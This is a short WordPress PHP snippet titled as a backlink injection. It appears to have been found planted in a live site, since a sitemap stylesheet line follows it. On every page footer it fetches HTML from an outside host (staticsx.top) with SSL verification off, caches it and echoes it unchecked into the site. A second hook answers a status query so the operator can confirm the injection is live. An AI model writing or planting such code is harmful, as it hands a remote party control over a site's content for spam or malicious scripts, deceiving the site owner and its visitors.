// Panox1 Backlink Injection
add_action('wp_footer', function() {
    $cache_key = 'panox1_links_' . md5(home_url());
    $cached = get_transient($cache_key);
    if ($cached !== false) { echo $cached; return; }
    $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]);
    if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
        $content = wp_remote_retrieve_body($response);
        if (!empty($content) && strpos($content, '<a') !== false) {
            $html = "\n<!-- Panox1 -->\n" . $content . "\n";
            set_transient($cache_key, $html, 3600);
            echo $html;
        }
    }
}, 99);

add_action('init', function() {
    if (isset($_GET['panox1_status'])) {
        wp_send_json(['status' => 'active', 'site' => home_url()]);
    }
});
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<?xml-stylesheet type="text/xsl" href="https://peripecia.es/wp-sitemap-index.xsl" ?>
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